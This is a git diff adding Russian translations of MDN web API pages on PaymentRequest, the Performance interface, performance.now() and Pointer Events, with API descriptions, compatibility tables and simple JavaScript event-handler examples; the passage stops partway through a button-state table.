+ <dt>{{domxref('PaymentRequest.shippingOption')}} {{readonlyinline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает идентификатор выбранного варианта доставки. Это свойство заполняется только в том случае, если конструктор вызывается с флагом <code>requestShipping</code>, установленным в значение true.</dd>
+ <dt>{{domxref('PaymentRequest.shippingType')}} {{readonlyinline}} {{securecontext_inline}}</dt>
+ <dd>Returns the type of shipping used to fulfill the transaction. This will be one of <code>shipping</code>, <code>delivery</code>, <code>pickup</code>, or <code>null</code> if a value was not provided in the constructor.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref('PaymentRequest.canMakePayment()')}} {{securecontext_inline}}</dt>
+ <dd>Indicates whether the <code>PaymentRequest</code> object can make a payment before calling <code>show()</code>.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref('PaymentRequest.show()')}} {{securecontext_inline}}</dt>
+ <dd>Causes the user agent to begin the user interaction for the payment request.</dd>
+ <dt>{{domxref('PaymentRequest.abort()')}} {{securecontext_inline}}</dt>
+ <dd>Causes the user agent to end the payment request and to remove any user interface that might be shown.</dd>
+</dl>
+
+<h2 id="События">События</h2>
+
+<dl>
+ <dt>{{domxref("PaymentRequest.merchantvalidation_event", "merchantvalidation")}} {{securecontext_inline}}</dt>
+ <dd>With some payment handlers (e.g., Apple Pay), this event handler is called to handle the {{event("merchantvalidation")}} event, which is dispatched when the user agent requires that the merchant validate that the merchant or vendor requesting payment is legitimate.<br>
+ Also available using the {{domxref("PaymentRequest.onmerchantvalidation", "onmerchantvalidation")}} event handler property.</dd>
+ <dt>{{domxref("PaymentRequest.paymentmethodchange_event", "paymentmethodchange")}} {{securecontext_inline}}</dt>
+ <dd>With some payment handlers (e.g., Apple Pay), dispatched whenever the user changes payment instrument, like switching from a credit card to a debit card.<br>
+ Also available using the {{domxref("PaymentRequest.onpaymentmethodchange", "onpaymentmethodchange")}} event handler property.</dd>
+ <dt>{{domxref("PaymentRequest.shippingaddresschange_event", "shippingaddresschange")}} {{securecontext_inline}}</dt>
+ <dd>Срабатывает каждый раз, когда пользователь меняет вариант доставки.<br>
+ Также доступно с использованием HTML атрибута {{domxref("PaymentRequest.onshippingaddresschange", "onshippingaddresschange")}}.</dd>
+ <dt>{{domxref("PaymentRequest.shippingoptionchange_event", "shippingoptionchange")}} {{securecontext_inline}}</dt>
+ <dd>Срабатывает каждый раз, когда пользователь меняет вариант доставки.<br>
+ Также доступно с использованием HTML атрибута {{domxref("PaymentRequest.onshippingoptionchange", "onshippingoptionchange")}}.</dd>
+</dl>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Payment','#paymentrequest-interface','PaymentRequest')}}</td>
+   <td>{{Spec2('Payment')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.PaymentRequest")}}</p>
+</div>
+
+<div id="gtx-anchor" style="position: absolute; left: 40px; top: 2184px; width: 409.484px; height: 17px;"></div>
+
+<div class="jfk-bubble gtx-bubble" style="">
+<div class="jfk-bubble-content-id" id="bubble-20">
+<div id="gtx-host" style="max-width: 400px;"></div>
+</div>
+
+<div class="jfk-bubble-closebtn-id jfk-bubble-closebtn"></div>
+
+<div class="jfk-bubble-arrow-id jfk-bubble-arrow jfk-bubble-arrowdown" style="left: 184.5px;">
+<div class="jfk-bubble-arrowimplbefore"></div>
+
+<div class="jfk-bubble-arrowimplafter"></div>
+</div>
+</div>
diff --git a/files/ru/web/api/performance/index.html b/files/ru/web/api/performance/index.html
new file mode 100644
index 0000000000..bebba70e41
--- /dev/null
+++ b/files/ru/web/api/performance/index.html
@@ -0,0 +1,106 @@
+---
+title: Performance
+slug: Web/API/Performance
+tags:
+  - API
+  - Navigation Timing
+  - NeedsTranslation
+  - Performance
+  - TopicStub
+translation_of: Web/API/Performance
+---
+<div>{{APIRef("Navigation Timing")}}</div>
+
+<p>Интерфейс <strong><code>Performance</code></strong> представляет информацию о производительности страницы с временными метками.</p>
+
+<p>Объект этого типа может быть получен в результате вызова атрибута {{domxref("Window.performance")}}, доступного только для чтения.</p>
+
+<div class="note">
+<p><strong><em>Замечание</em>: </strong>Этот интерфейс и его составляющие доступны в <a href="/ru/docs/Web/API/Web_Workers_API">фоновых потоках выполнения</a>, за исключением случаев, перечисленных ниже. Заметим, что некоторые доступные части интерфейса еще не документированы (подробнее см. разделы документации <a href="http://www.w3.org/TR/performance-timeline/#sec-window.performance-attribute">Performance Timeline</a> и <a href="http://www.w3.org/TR/user-timing/#extensions-performance-interface">User Timing</a>). Также заметим, что временные метки производительности относятся к текущему контексту. Если Вы создадите метку в основном потоке (или в другом фоновом потоке), то ее нельзя будет увидеть в другом фоновом потоке и наоборот.</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>Performance</code> не наследует никаких других свойств.</em></p>
+
+<dl>
+ <dt>{{domxref("Performance.navigation")}} {{readonlyInline}}</dt>
+ <dd>Объект {{domxref("PerformanceNavigation")}}, представляющий тип навигации в текущем контексте браузера, как, например, количество перенаправлений, которые нужно пройти, чтобы получить ресурс. Not available in workers.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Performance.onresourcetimingbufferfull")}}</dt>
+ <dd>Функция обратного вызова, реализующая интерфейс {{domxref("EventTarget")}}, вызываемая при наступлении события {{event("resourcetimingbufferfull")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Performance.timing")}} {{readonlyInline}}</dt>
+ <dd>Объект {{domxref("PerformanceTiming")}}, содержащий информацию о производительности, связанной со временем задержек. Not available in workers.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em><em>Интерфейс <code>Performance</code> не наследует других методов</em></em>.</p>
+
+<dl>
+ <dt>{{domxref("Performance.clearMarks()")}}</dt>
+ <dd>Удаляет из буфера записей производительности браузера указанную <em>временну́ю метку</em>.</dd>
+ <dt>{{domxref("Performance.clearMeasures()")}}</dt>
+ <dd>Удаляет из буфера записей производительности браузера указанное <em>измерение</em>.</dd>
+ <dt>{{domxref("Performance.clearResourceTimings()")}}</dt>
+ <dd>Удаляет все {{domxref("PerformanceEntry","записи о производительности")}} со свойством {{domxref("PerformanceEntry.entryType","entryType")}} равным "<code>resource</code>" из буфера данных производительности браузера.</dd>
+ <dt>{{domxref("Performance.getEntries()")}}</dt>
+ <dd>Возвращает список объектов {{domxref("PerformanceEntry")}}, руководствуясь переданным аргументом <em>filter.</em></dd>
+ <dt>{{domxref("Performance.getEntriesByName()")}}</dt>
+ <dd>Возвращает список объектов {{domxref("PerformanceEntry")}}, руководствуясь аргументами <em>name</em> (название) and <em>entry type</em> (тип записи).</dd>
+ <dt>{{domxref("Performance.getEntriesByType()")}}</dt>
+ <dd>Возвращает список объектов {{domxref("PerformanceEntry")}} переданного, как аргумент, <em>типа записи</em>.</dd>
+ <dt>{{domxref("Performance.mark()")}}</dt>
+ <dd>Создает {{domxref("DOMHighResTimeStamp","временну́ю метку")}} с заданным именем в <em>буфере записей производительности.</em></dd>
+ <dt>{{domxref("Performance.measure()")}}</dt>
+ <dd>Создает именованную {{domxref("DOMHighResTimeStamp","временну́ю метку")}} в буфере записей производительности браузера между двумя определенными метками (известных как <em>start mark</em> (начальная метка) и <em>end mark </em>(конечная метка), соответственно).</dd>
+ <dt>{{domxref("Performance.now()")}}</dt>
+ <dd>Возвращает объект {{domxref("DOMHighResTimeStamp")}}, представляющий количество милисекунд, прошедших с начала момента отсчета.</dd>
+ <dt>{{domxref("Performance.setResourceTimingBufferSize()")}}</dt>
+ <dd>Устанавливает размер буфера измерения ресурсов браузера равным указанному числу объектов {{domxref("PerformanceEntry","записей производительности")}} {{domxref("PerformanceEntry.entryType","типа")}} "<code>resource</code>".</dd>
+ <dt>{{domxref("Performance.toJSON()")}}</dt>
+ <dd>Возвращает json объект, представляющий объект <code>Performance.</code></dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time', '#sec-extenstions-performance-interface', 'Performance')}}</td>
+   <td>{{Spec2('Highres Time')}}</td>
+   <td>Добавлен метод now()</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Navigation Timing', '#sec-window.performance-attribute', 'Performance')}}</td>
+   <td>{{Spec2('Navigation Timing')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.Performance")}}</p>
+</div>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Похожие интерфейсы: {{domxref("PerformanceTiming")}}, {{domxref("PerformanceNavigation")}}.</li>
+</ul>
diff --git a/files/ru/web/api/performance/now/index.html b/files/ru/web/api/performance/now/index.html
new file mode 100644
index 0000000000..ca825b059f
--- /dev/null
+++ b/files/ru/web/api/performance/now/index.html
@@ -0,0 +1,138 @@
+---
+title: performance.now()
+slug: Web/API/Performance/now
+tags:
+  - API
+  - Performance
+  - Web Performance API
+translation_of: Web/API/Performance/now
+---
+<p>{{APIRef("Navigation Timing")}}</p>
+
+<h2 id="Краткое_описание">Краткое описание</h2>
+
+<p>Метод <code><strong>performance.now()</strong></code> возращает временную метку {{domxref("DOMHighResTimeStamp")}}, измеряемую в миллисекундах, с точностью до одной тысячной миллисекунды.</p>
+
+<p>Значение, представленное типом {{domxref("DOMHighResTimeStamp")}}, изменяется в зависимости от контекста. Стоит иметь ввиду следующее:</p>
+
+<ul>
+ <li>в разделяемых или выделенных потоках выполнения, началом эпохи считается момент начала работы потока.</li>
+ <li>вне потоков выполнения, или в выделенных потоках, созданных в контексте {{domxref("Window")}}, началом эпохи считается значение свойства {{domxref("PerformanceTiming.navigationStart")}}.</li>
+ <li>в выделенных потоках выполнения, созданных из другого потока, началом эпохи устанавливается начало эпохи этого самого потока.</li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>t</em> = <em>performance</em>.now();</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var t0 = performance.now();
+doSomething();
+var t1 = performance.now();
+console.log("Call to doSomething took " + (t1 - t0) + " milliseconds.")
+</pre>
+
+<p>В отличие от других временны́х типов данных, доступных в JavaScript (таких как <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now" title="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now"><code>Date.now</code></a>), метки времени, возвращенные из <code>performance.now(),</code> не ограничены кратностью в одну миллисекунду, а представляют значение времени как число с плавающей запятой, с точностью до микросекунд.</p>
+
+<p>Также, в противоположность <code>Date.now</code>, значение, возвращаемое из <code>performance.now(), всегда возрастает с постоянной скоростью, независимо от системного времени </code>(которое может быть установленно вручную или изменено программами наподобие NTP).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time Level 2', '#dom-performance-now', 'Performance.now()')}}</td>
+   <td>{{Spec2('Highres Time Level 2')}}</td>
+   <td>Более строгие определения типов и интерфейсов.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time', '#dom-performance-now', 'Performance.now()')}}</td>
+   <td>{{Spec2('Highres Time')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatChrome("20.0") }} {{ property_prefix("webkit") }}<br>
+    {{ CompatChrome("24.0") }} [1]</td>
+   <td>{{ CompatGeckoDesktop("15.0") }}</td>
+   <td>10.0</td>
+   <td>{{ CompatOpera("15.0") }}</td>
+   <td>{{ CompatSafari("8.0") }}</td>
+  </tr>
+  <tr>
+   <td>on Web workers</td>
+   <td>{{CompatChrome("33")}}</td>
+   <td>{{ CompatGeckoDesktop("34.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatAndroid("4.0") }}</td>
+   <td>{{ CompatChrome("25.0") }}</td>
+   <td>{{ CompatGeckoMobile("15.0") }}</td>
+   <td>10.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>on Web workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("34.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Версии Chrome от 20 до 33 под Windows, на момент написания этого документа, возвращает <code>performance.now()</code> с точностью только до миллисекунд.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://updates.html5rocks.com/2012/08/When-milliseconds-are-not-enough-performance-now" title="http://updates.html5rocks.com/2012/08/When-milliseconds-are-not-enough-performance-now">When milliseconds are not enough: performance.now() </a>от HTML5 Rocks.</li>
+</ul>
diff --git a/files/ru/web/api/pointer_events/index.html b/files/ru/web/api/pointer_events/index.html
new file mode 100644
index 0000000000..4108763c30
--- /dev/null
+++ b/files/ru/web/api/pointer_events/index.html
@@ -0,0 +1,504 @@
+---
+title: События указателя
+slug: Web/API/Pointer_events
+translation_of: Web/API/Pointer_events
+---
+<p>{{DefaultAPISidebar("Pointer Events")}}</p>
+
+<p>Бо́льшая часть современного веб-контента предполагает, что указывающим устройством пользователя является мышь. Но поскольку многие устройства поддерживают другие типы указателей, таких как перо/стилус или сенсорная поверхность, возникает необходимость в расширении существующих событий указывающих устройств. Эту потребность удовлетворяют <em><a href="#term_pointer_event">События указателя</a></em>.</p>
+
+<p>События указателя – это события DOM, которые вызываются для указывающего устройства. Они предназначены для создания единой модели обработки действий мыши, пера/стилуса или касания (одним или несколькими пальцами).</p>
+
+<p><em><a href="#term_pointer">Указывающее устройство</a> – </em>это устройство, способное нацеливаться на определённый набор координат экрана. Наличие единой модели событий для указывающих устройств позволяет разработчикам проще создавать веб-сайты и приложения, а пользователям обеспечивает удобство использования вне зависимости от устройства.</p>
+
+<p>События, необходимые для обработки общего ввода указывающих устройств, аналогичны {{domxref("MouseEvent","событиям мыши")}} (<code>mousedown</code>/<code>pointerdown</code>, <code>mousemove</code>/<code>pointermove</code>, и так далее.). Следовательно, типы событий указывающих устройтв намеренно похожи на события мыши.</p>
+
+<p>В дополнение к обычным свойствам, представленным и в событиях мыши (координаты, целевой элемент, состояния кнопок и так далее) события ввода у разных указывающих устройств содержат и уникальные свойства: степень давления, форма области контакта, наклон и так далее. На самом деле, интерфейс {{domxref("PointerEvent")}} наследует все свойства {{domxref("MouseEvent")}}, облегчая так образом перенос содержимого из событий мыши в события указывающего устройства.</p>
+
+<h2 id="Терминология">Терминология</h2>
+
+<dl>
+ <dt>Cостояние активных кнопок</dt>
+ <dd>Ситуация, когда <em><a href="#term_pointer">указывающее устройство</a> </em>имеет ненулевое значение свойства <code>buttons</code>. Например, в случае с пером, это ситуация, когда перо физически контактирует с сенсорной поверхностью. или хотя бы одна кнопка нажата при наведении курсора.</dd>
+ <dt>Активное указывающее устройство</dt>
+ <dd>Любое <em><a href="#term_pointer">указывающее</a></em> устройство ввода, которое может производить события. Указывающее устройство считается активным, пока может производить события. Например, перо, которым консулись экрана, считается активным, поскольку может производить дополнительные события при поднятии или перемещении.</dd>
+ <dt id="term_digitizer">Графический планшет (диджитайзер)</dt>
+ <dd>Устройство с чувствительным покрытием, которое может фиксировать контакт. Чаще всего, это устройство с сенсорным экраном, который может распознавать касания указывающего устройства, такого как перо, стилус или палец. Некоторые сенсорные устройства могут определять приближение указателя и представлять это состояние как наведение мыши.</dd>
+ <dt id="term_hit_test">Тест попадания (hit test)</dt>
+ <dd>Процесс, который браузер использует при определении целевого элемента для события указывающего устройства. Обычно заключается в сопоставлении позиции указателя и визуальной области элементов на экране.</dd>
+ <dt id="term_pointer">Указатель (указывающее устройство)</dt>
+ <dd>Представление устройства ввода, которое может нацеливаться на определённую координату (или набор координат) на экране. Примером указателя может быть мышь, перо/стилус и прикосновение.</dd>
+ <dt>Захват указателя</dt>
+ <dd>Захват указателя позволяет событиям этого указателя быть перенаправленными на элемент, отличный обычного результата проверки попадания (hit test)</dd>
+ <dt id="term_pointer_event">Событие указателя</dt>
+ <dd>{{domxref("PointerEvent","Событие")}} DOM , вызванное для <em><a href="#term_pointer">указателя</a></em>.</dd>
+</dl>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<p>Основным интерфейсом является {{domxref("PointerEvent")}}, который имеет {{domxref("PointerEvent.PointerEvent","constructor")}} плюс несколько типов событий и связанные с ними глобальные обработчики событий.</p>
+
+<p>Стандарт также включает некоторые расширения для интерфейсов {{domxref("Element")}} и {{domxref("Navigator")}}.</p>
+
+<p>Следующие подразделы содержат краткое описание каждого интерфейса и свойства.</p>
+
+<h3 id="Интерфейс_PointerEvent">Интерфейс PointerEvent</h3>
+
+<p>Интерфейс {{domxref("PointerEvent")}} расширяет интерфейс {{domxref("MouseEvent")}} и имеет следующие свойства. Все следующие свойства доступны {{readonlyInline}}.</p>
+
+<dl>
+ <dt>{{ domxref('PointerEvent.pointerId','pointerId')}}</dt>
+ <dd>Уникальный идентификатор указателя, вызвавшего событие</dd>
+ <dt>{{ domxref('PointerEvent.width','width')}}</dt>
+ <dd>Ширина (величина по оси X) в пикселях CSS области контакта указателя с сенсорной поверхностью.</dd>
+ <dt>{{ domxref('PointerEvent.height','height')}}</dt>
+ <dd>Высота (величина по оси Y) в пикселях CSS области контакта указателя с сенсорной поверхностью.</dd>
+ <dt>{{ domxref('PointerEvent.pressure','pressure')}}</dt>
+ <dd>Степень давления указателя в диапазоне от <code>0</code> до <code>1</code>, где <code>0</code> – минимальное, а <code>1</code> – максимальное значение давления, которое способно обработать устройство.</dd>
+ <dt>{{ domxref('PointerEvent.tangentialPressure','tangentialPressure')}}</dt>
+ <dd>Степень тангенциального давления в диапазоне от <code>0</code> до <code>1</code>, где <code>0</code> – минимальное, а <code>1</code> – максимальное значение давления, которое способно обработать устройство..</dd>
+ <dt>{{ domxref('PointerEvent.tiltX','tiltX')}}</dt>
+ <dd>Угол (в градуса, в диапазоне от <code>-90</code> до <code>90</code>) между плоскостью Y-Z и плоскостью, содержащей как ось указателя (например, пера\стилуса), так и ось Y</dd>
+ <dt>{{ domxref('PointerEvent.tiltY','tiltY')}}</dt>
+ <dd>Угол (в градуса, в диапазоне от <code>-90</code> до <code>90</code>) между плоскостью X-Z и плоскостью, содержащей как ось указателя (например, пера\стилуса), так и ось X</dd>
+ <dt>{{ domxref('PointerEvent.twist','twist')}}</dt>
+ <dd>Поворот указывающего устройства (например, пера или стилуса) по часовой стрелке вокруг основной оси в градусах в диапазоне от<code> </code>0 до <code>359</code></dd>
+ <dt>{{ domxref('PointerEvent.pointerType','pointerType')}}</dt>
+ <dd>Указывает на тип устройства, которое вызвало событие (мышь, перо, касание и т.д)</dd>
+ <dt>{{ domxref('PointerEvent.isPrimary','isPrimary')}}</dt>
+ <dd>Указывает, является ли указывающее устройство основным для данного типа</dd>
+</dl>
+
+<h3 id="Типы_событий_и_Глобальные_Обработчики_Событий">Типы событий и Глобальные Обработчики Событий</h3>
+
+<p>События указателя имеют 10 типов, 7 из которых похожи на аналогичные события мыши (<code>down</code>, <code>up</code>, <code>move</code>, <code>over</code>, <code>out</code>, <code>enter</code> и <code>leave</code>).</p>
+
+<p>Ниже представлено короткое описание для каждого типа события и связанный {{domxref("GlobalEventHandlers","Глобальный обработчик события")}}.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Событие</th>
+   <th scope="col">Обработчик события</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{event('pointerover')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointerover','onpointerover')}}</td>
+   <td>Вызывается, когда указатель появляется в пределах элемента (его <a href="#term_hit_test">теста попадания</a>).</td>
+  </tr>
+  <tr>
+   <td>{{event('pointerenter')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointerenter','onpointerenter')}}</td>
+   <td>Вызывается, когда указатель перемещается в пределы элемента (его <a href="#term_hit_test">теста попадания</a>) или одного из его потомков, в том числе в результате события <code>pointerdown</code> с устройства, которе не поддерживает наведение "hover" (смотрите <code>pointerdown</code>).</td>
+  </tr>
+  <tr>
+   <td>{{event('pointerdown')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointerdown','onpointerdown')}}</td>
+   <td>Вызывается, когда указатель принимает состояние активных кнопок.</td>
+  </tr>
+  <tr>
+   <td>{{event('pointermove')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointermove','onpointermove')}}</td>
+   <td>Вызывается, когда изменяются координаты указателя. Это событие также используется, если изменение состояния указателя нельзя сообщить с помощью других событий.</td>
+  </tr>
+  <tr>
+   <td>{{event('pointerup')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointerup','onpointerup')}}</td>
+   <td>Вызывается, когда указатель теряет состояние <em>активных кнопок</em>.</td>
+  </tr>
+  <tr>
+   <td>{{event('pointercancel')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointercancel','onpointercancel')}}</td>
+   <td>Браузер вызывает это событие, если приходит к выводу, что указывающее устройство больше не сможет генерировать события (например, если устройство деактивировано).</td>
+  </tr>
+  <tr>
+   <td>{{event('pointerout')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointerout','onpointerout')}}</td>
+   <td>Вызывается по нескольким причинам, в том числе: когда указывающее устройство перемещается за пределы элемента (его <a href="#term_hit_test">теста попадания</a>); запуск события <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">pointerup</span></font> для устройства, которое не поддерживает наведение "hover"; после запуска события <code>pointercancel</code>; когда перо покидает область обнаружения планшетом наведения указателя.</td>
+  </tr>
+  <tr>
+   <td>{{event('pointerleave')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointerleave','onpointerleave')}}</td>
+   <td>Вызывается, когда указывающее устройство перемещается за пределы элемента (его <a href="#term_hit_test">теста попадания</a>). Для устройств, подобных перу, это событие вызывается, когда перо покидает область обнаружения планшетом наведения указателя.</td>
+  </tr>
+  <tr>
+   <td>{{event('gotpointercapture')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ongotpointercapture','ongotpointercapture')}}</td>
+   <td>Вызывается, когда элемент получает захват указывающего устройства.</td>
+  </tr>
+  <tr>
+   <td>{{event('lostpointercapture')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onlostpointercapture','onlostpointercapture')}}</td>
+   <td>Запускается после того, как указывающее устройство потеряло захват.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Расширения_элемента">Расширения элемента</h3>
+
+<p>Существует три расширения интерфейса {{domxref("Element")}}:</p>
+
+<dl>
+ <dt>{{domxref("Element.setPointerCapture()","setPointerCapture()")}}</dt>
+ <dd>Определяет определённый элемент в качестве цели захвата для будущих событий указателя.</dd>
+ <dt>{{domxref("Element.releasePointerCapture()","releasePointerCapture()")}}</dt>
+ <dd>Этот метод освобождает (прекращает) захватывание указывающим устройством, которое ранее было установлено для определённого события указателя.</dd>
+</dl>
+
+<h3 id="Расширение_навигатора">Расширение навигатора</h3>
+
+<p>Свойство {{domxref("Navigator.maxTouchPoints")}} используется для определения максимального количества одновременных точек касания, которые поддерживаются в каждый момент времени.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Этот раздел содержит примеры базового использования интерфейсов событий указывающего устройства.</p>
+
+<h3 id="Назначение_обработчиков_событий">Назначение обработчиков событий</h3>
+
+<p>В этом примере определённому элементу назначаются обработчики каждого типа события.</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+  &lt;script&gt;
+    function over_handler(event) { }
+    function enter_handler(event) { }
+    function down_handler(event) { }
+    function move_handler(event) { }
+    function up_handler(event) { }
+    function cancel_handler(event) { }
+    function out_handler(event) { }
+    function leave_handler(event) { }
+    function gotcapture_handler(event) { }
+    function lostcapture_handler(event) { }
+
+    function init() {
+      var el=document.getElementById("target");
+      // Register pointer event handlers
+      el.onpointerover = over_handler;
+      el.onpointerenter = enter_handler;
+      el.onpointerdown = down_handler;
+      el.onpointermove = move_handler;
+      el.onpointerup = up_handler;
+      el.onpointercancel = cancel_handler;
+      el.onpointerout = out_handler;
+      el.onpointerleave = leave_handler;
+      el.gotpointercapture = gotcapture_handler;
+      el.lostpointercapture = lostcapture_handler;
+    }
+  &lt;/script&gt;
+  &lt;body onload="init();"&gt;
+    &lt;div id="target"&gt; Touch me ... &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Свойства_события">Свойства события</h3>
+
+<p>Этот пример демонстрирует доступ ко всем свойствам события касания.</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+  &lt;script&gt;
+    var id = -1;
+
+    function process_id(event) {
+      // Обработка этого события на основе идентификатора события
+    }
+    function process_mouse(event) {
+      // Обработка события мыши
+    }
+    function process_pen(event) {
+      // Обработка события пера
+    }
+    function process_touch(event) {
+      // Обработка события касания
+    }
+    function process_tilt(tiltX, tiltY) {
+      // Обработчик данных наклона
+    }
+    function process_pressure(pressure) {
+      // Обработчик давления
+    }
+    function process_non_primary(event) {
+      // Не основной обработчик
+    }
+
+    function down_handler(ev) {
+      // Вычислить область контакта точки касания
+      var area = ev.width * ev.height;
+
+      // Сравнить сохранённый ID с ID данного события и соответствующим образом обработать
+      if (id == ev.identifier) process_id(ev);
+
+      // Вызвать обработчик нужного типа указателя
+      switch (ev.pointerType) {
+        case "mouse":
+          process_mouse(ev);
+          break;
+        case "pen":
+          process_pen(ev);
+          break;
+        case "touch":
+          process_touch(ev);
+          break;
+        default:
+          console.log("pointerType " + ev.pointerType + " is Not suported");
+      }
+
+      // Вызвать обработчик наклона
+      if (ev.tiltX != 0 &amp;&amp; ev.tiltY != 0) process_tilt(ev.tiltX, ev.tiltY);
+
+      // Вызвать обработчик давления
+      process_pressure(ev.pressure);
+
+      // Если это события не является основным, то вызвать не основной обработчик
+      if (!ev.isPrimary) process_non_primary(ev);
+    }
+
+    function init() {
+      var el=document.getElementById("target");
+      // Назначение обработчика события "pointerdown"
+      el.onpointerdown = down_handler;
+    }
+  &lt;/script&gt;
+  &lt;body onload="init();"&gt;
+    &lt;div id="target"&gt; Touch me ... &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Определение_Основного_Указателя">Определение Основного Указателя</h2>
+
+<p>В некоторых сценариях может быть несколько указывающих устройств (например, устройство с сенсорным экраном и мышкой) или указывающее устройство, поддерживающее несколько контактных точек (например, сенсорный экран, который поддерживает касания несколькими пальцами). Приложение может использовать свойство {{domxref("PointerEvent.isPrimary","isPrimary")}} для определения главного указателя среди набора активных точек каждого указателя. Если будет решено поддерживать только основной указатель, в приложении можно игнорировать все события указателя, не являющегося главным.</p>
+
+<p>У мышки может только один указатель, поэтому он всегда будет главным. Для сенсорного ввода указатель считается главным, если при этом нет других активных касаний. Для ввода пером или стилусом, указатель считается главным, если при этом нет касаний другими перьями.</p>
+
+<h2 id="Определение_состояний_кнопок">Определение состояний кнопок</h2>
+
+<p>Некоторые указывающие устройства, такие как мышь или перо, поддерживают несколько кнопок, и эти кнопки могут нажиматься одновременно. Например, нажатие кнопки, когда другая кнопка на устройстве уже нажата.</p>
+
+<p>Для определения состояния нажатия кнопки, события указателя используют свойства {{domxref("MouseEvent.button","button")}} и {{domxref("MouseEvent.buttons","buttons")}} интерфейса {{domxref("MouseEvent")}}, от которого наследуется от{{domxref("PointerEvent")}}.</p>
+
+<p>В следующей таблице приведены значения <code>button</code> и <code>buttons</code> для различных состояний кнопок устройства.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Состояние кнопок устройства</th>
+   <th scope="col">button</th>
+   <th scope="col">buttons</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>С последнего события не было ни нажатия кнопок, ни касания пера</td>
+   <td><code>-1</code></td>
+   <td>—</td>
+  </tr>
+  <tr>
